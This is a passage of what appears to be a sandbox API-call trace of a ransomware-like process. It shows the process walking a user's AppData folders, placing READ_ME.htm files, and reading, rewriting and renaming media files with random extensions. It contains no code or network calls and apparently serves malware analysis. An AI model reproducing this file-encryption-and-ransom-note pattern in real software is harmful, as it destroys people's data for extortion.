nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.968] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.968] SetErrorMode (uMode=0x0) returned 0x1 [0147.969] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\muffin", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\muffin", lpFilePart=0x0) returned 0x48 [0147.969] SetErrorMode (uMode=0x1) returned 0x0 [0147.969] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\muffin\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\muffin\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e8f940, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e8f940, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e8f940, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.969] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.969] SetErrorMode (uMode=0x0) returned 0x1 [0147.969] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\muffin\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\muffin\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0147.970] SetErrorMode (uMode=0x1) returned 0x0 [0147.970] SetErrorMode (uMode=0x0) returned 0x1 [0147.970] GetFileType (hFile=0x1d0) returned 0x1 [0147.971] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\READ_ME.htm", lpFilePart=0x0) returned 0x4d [0147.971] SetErrorMode (uMode=0x1) returned 0x0 [0147.973] SetErrorMode (uMode=0x0) returned 0x1 [0147.973] GetFileType (hFile=0x1d0) returned 0x1 [0147.975] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\READ_ME.htm", lpFilePart=0x0) returned 0x49 [0147.975] SetErrorMode (uMode=0x1) returned 0x0 [0147.975] SetErrorMode (uMode=0x0) returned 0x1 [0147.975] GetFileType (hFile=0x1d0) returned 0x1 [0147.976] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log", lpFilePart=0x0) returned 0x3b [0147.976] SetErrorMode (uMode=0x1) returned 0x0 [0147.977] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\log\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.977] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.977] SetErrorMode (uMode=0x0) returned 0x1 [0147.977] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log", lpFilePart=0x0) returned 0x3b [0147.977] SetErrorMode (uMode=0x1) returned 0x0 [0147.977] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\log\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.978] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.978] SetErrorMode (uMode=0x0) returned 0x1 [0147.978] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log\\READ_ME.htm", lpFilePart=0x0) returned 0x47 [0147.978] SetErrorMode (uMode=0x1) returned 0x0 [0147.979] SetErrorMode (uMode=0x0) returned 0x1 [0147.979] GetFileType (hFile=0x1d0) returned 0x1 [0147.980] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security", lpFilePart=0x0) returned 0x40 [0147.980] SetErrorMode (uMode=0x1) returned 0x0 [0147.980] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\security\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4889c240, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4889c240, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4889c240, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.981] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.982] SetErrorMode (uMode=0x0) returned 0x1 [0147.982] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security", lpFilePart=0x0) returned 0x40 [0147.982] SetErrorMode (uMode=0x1) returned 0x0 [0147.982] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\security\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4889c240, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4889c240, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4889c240, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.982] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.982] SetErrorMode (uMode=0x0) returned 0x1 [0147.983] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\READ_ME.htm", lpFilePart=0x0) returned 0x4c [0147.983] SetErrorMode (uMode=0x1) returned 0x0 [0147.983] SetErrorMode (uMode=0x0) returned 0x1 [0147.983] GetFileType (hFile=0x1d0) returned 0x1 [0147.984] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\READ_ME.htm", lpFilePart=0x0) returned 0x43 [0147.985] SetErrorMode (uMode=0x1) returned 0x0 [0148.002] SetErrorMode (uMode=0x0) returned 0x1 [0148.002] GetFileType (hFile=0x1d0) returned 0x1 [0148.003] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\READ_ME.htm", lpFilePart=0x0) returned 0x38 [0148.003] SetErrorMode (uMode=0x1) returned 0x0 [0148.004] SetErrorMode (uMode=0x0) returned 0x1 [0148.004] GetFileType (hFile=0x1d0) returned 0x1 [0148.005] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\READ_ME.htm", lpFilePart=0x0) returned 0x33 [0148.006] SetErrorMode (uMode=0x1) returned 0x0 [0148.006] SetErrorMode (uMode=0x0) returned 0x1 [0148.007] GetFileType (hFile=0x1d0) returned 0x1 [0148.008] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\READ_ME.htm", lpFilePart=0x0) returned 0x2f [0148.008] SetErrorMode (uMode=0x1) returned 0x0 [0148.009] SetErrorMode (uMode=0x0) returned 0x1 [0148.009] GetFileType (hFile=0x1d0) returned 0x1 [0148.010] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming", lpFilePart=0x0) returned 0x22 [0148.010] SetErrorMode (uMode=0x1) returned 0x0 [0148.010] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcf13bab0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcf13bab0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0148.010] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0148.010] SetErrorMode (uMode=0x0) returned 0x1 [0148.011] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming", lpFilePart=0x0) returned 0x22 [0148.011] SetErrorMode (uMode=0x1) returned 0x0 [0148.011] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcf13bab0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcf13bab0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0148.011] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0148.012] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x2e60 [0148.069] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\33GmwDyrWLVGP.flv" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\33gmwdyrwlvgp.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.071] GetFileType (hFile=0x1d0) returned 0x1 [0148.072] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\33GmwDyrWLVGP.flv" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\33gmwdyrwlvgp.flv"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc1563e70, ftCreationTime.dwHighDateTime=0x1d8b8f6, ftLastAccessTime.dwLowDateTime=0x95ba0860, ftLastAccessTime.dwHighDateTime=0x1d8badf, ftLastWriteTime.dwLowDateTime=0x54beab40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x2e70)) returned 1 [0148.072] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\33GmwDyrWLVGP.flv" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\33gmwdyrwlvgp.flv"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\33GmwDyrWLVGP.flv.5x0la6" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\33gmwdyrwlvgp.flv.5x0la6")) returned 1 [0148.073] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\4n0L _Me_g-.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\4n0l _me_g-.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.073] GetFileType (hFile=0x1d0) returned 0x1 [0148.074] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0xe326 [0148.074] ReadFile (in: hFile=0x1d0, lpBuffer=0x29e9738, nNumberOfBytesToRead=0xe326, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x29e9738*, lpNumberOfBytesRead=0x21d418*=0xe326, lpOverlapped=0x0) returned 1 [0148.100] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\4n0L _Me_g-.m4a", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\4n0L _Me_g-.m4a", lpFilePart=0x0) returned 0x32 [0148.101] SetErrorMode (uMode=0x1) returned 0x0 [0148.101] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\4n0L _Me_g-.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\4n0l _me_g-.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.105] GetFileType (hFile=0x1d0) returned 0x1 [0148.105] SetErrorMode (uMode=0x0) returned 0x1 [0148.105] GetFileType (hFile=0x1d0) returned 0x1 [0148.105] WriteFile (in: hFile=0x1d0, lpBuffer=0x28fffd0*, nNumberOfBytesToWrite=0xe330, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x28fffd0*, lpNumberOfBytesWritten=0x21d498*=0xe330, lpOverlapped=0x0) returned 1 [0148.108] CloseHandle (hObject=0x1d0) returned 1 [0148.109] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\4n0L _Me_g-.m4a", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\4n0L _Me_g-.m4a", lpFilePart=0x0) returned 0x32 [0148.110] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\4n0L _Me_g-.m4a.b2x8a9", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\4n0L _Me_g-.m4a.b2x8a9", lpFilePart=0x0) returned 0x39 [0148.110] SetErrorMode (uMode=0x1) returned 0x0 [0148.110] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\4n0L _Me_g-.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\4n0l _me_g-.m4a"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1b4270, ftCreationTime.dwHighDateTime=0x1d8ba9c, ftLastAccessTime.dwLowDateTime=0xe730b9c0, ftLastAccessTime.dwHighDateTime=0x1d8bb69, ftLastWriteTime.dwLowDateTime=0x54c36e00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xe330)) returned 1 [0148.110] SetErrorMode (uMode=0x0) returned 0x1 [0148.110] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\4n0L _Me_g-.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\4n0l _me_g-.m4a"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\4n0L _Me_g-.m4a.b2x8a9" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\4n0l _me_g-.m4a.b2x8a9")) returned 1 [0148.111] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\cpj-qQBHP_mKPrmP-k.jpg", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\cpj-qQBHP_mKPrmP-k.jpg", lpFilePart=0x0) returned 0x39 [0148.112] SetErrorMode (uMode=0x1) returned 0x0 [0148.112] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\cpj-qQBHP_mKPrmP-k.jpg" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\cpj-qqbhp_mkprmp-k.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.112] GetFileType (hFile=0x1d0) returned 0x1 [0148.112] SetErrorMode (uMode=0x0) returned 0x1 [0148.112] GetFileType (hFile=0x1d0) returned 0x1 [0148.112] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x15b1d [0148.113] ReadFile (in: hFile=0x1d0, lpBuffer=0x129d5648, nNumberOfBytesToRead=0x15b1d, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x129d5648*, lpNumberOfBytesRead=0x21d418*=0x15b1d, lpOverlapped=0x0) returned 1 [0148.115] CloseHandle (hObject=0x1d0) returned 1 [0148.210] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\cpj-qQBHP_mKPrmP-k.jpg", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\cpj-qQBHP_mKPrmP-k.jpg", lpFilePart=0x0) returned 0x39 [0148.210] SetErrorMode (uMode=0x1) returned 0x0 [0148.210] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\cpj-qQBHP_mKPrmP-k.jpg" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\cpj-qqbhp_mkprmp-k.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.212] GetFileType (hFile=0x1d0) returned 0x1 [0148.212] SetErrorMode (uMode=0x0) returned 0x1 [0148.212] GetFileType (hFile=0x1d0) returned 0x1 [0148.212] WriteFile (in: hFile=0x1d0, lpBuffer=0x12a41e68*, nNumberOfBytesToWrite=0x15b20, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x12a41e68*, lpNumberOfBytesWritten=0x21d498*=0x15b20, lpOverlapped=0x0) returned 1 [0148.215] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\cpj-qQBHP_mKPrmP-k.jpg", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\cpj-qQBHP_mKPrmP-k.jpg", lpFilePart=0x0) returned 0x39 [0148.216] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\cpj-qQBHP_mKPrmP-k.jpg.014hhh", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\cpj-qQBHP_mKPrmP-k.jpg.014hhh", lpFilePart=0x0) returned 0x40 [0148.216] SetErrorMode (uMode=0x1) returned 0x0 [0148.216] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\cpj-qQBHP_mKPrmP-k.jpg" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\cpj-qqbhp_mkprmp-k.jpg"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c3f6780, ftCreationTime.dwHighDateTime=0x1d8bc32, ftLastAccessTime.dwLowDateTime=0xbe38a4e0, ftLastAccessTime.dwHighDateTime=0x1d8bc92, ftLastWriteTime.dwLowDateTime=0x54d417a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x15b20)) returned 1 [0148.216] SetErrorMode (uMode=0x0) returned 0x1 [0148.216] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\cpj-qQBHP_mKPrmP-k.jpg" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\cpj-qqbhp_mkprmp-k.jpg"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\cpj-qQBHP_mKPrmP-k.jpg.014hhh" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\cpj-qqbhp_mkprmp-k.jpg.014hhh")) returned 1 [0148.219] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\dKTFQ.m4a", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\dKTFQ.m4a", lpFilePart=0x0) returned 0x2c [0148.219] SetErrorMode (uMode=0x1) returned 0x0 [0148.220] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\dKTFQ.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\dktfq.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.220] GetFileType (hFile=0x1d0) returned 0x1 [0148.220] SetErrorMode (uMode=0x0) returned 0x1 [0148.220] GetFileType (hFile=0x1d0) returned 0x1 [0148.220] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x110b8 [0148.220] ReadFile (in: hFile=0x1d0, lpBuffer=0x29eff58, nNumberOfBytesToRead=0x110b8, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x29eff58*, lpNumberOfBytesRead=0x21d418*=0x110b8, lpOverlapped=0x0) returned 1 [0148.260] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\dKTFQ.m4a", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\dKTFQ.m4a", lpFilePart=0x0) returned 0x2c [0148.260] SetErrorMode (uMode=0x1) returned 0x0 [0148.260] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\dKTFQ.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\dktfq.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.262] GetFileType (hFile=0x1d0) returned 0x1 [0148.262] SetErrorMode (uMode=0x0) returned 0x1 [0148.262] GetFileType (hFile=0x1d0) returned 0x1 [0148.262] WriteFile (in: hFile=0x1d0, lpBuffer=0x2b02ca0*, nNumberOfBytesToWrite=0x110c0, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x2b02ca0*, lpNumberOfBytesWritten=0x21d498*=0x110c0, lpOverlapped=0x0) returned 1 [0148.264] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\dKTFQ.m4a", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\dKTFQ.m4a", lpFilePart=0x0) returned 0x2c [0148.264] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\dKTFQ.m4a.ttyipk", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\dKTFQ.m4a.ttyipk", lpFilePart=0x0) returned 0x33 [0148.265] SetErrorMode (uMode=0x1) returned 0x0 [0148.265] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\dKTFQ.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\dktfq.m4a"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: 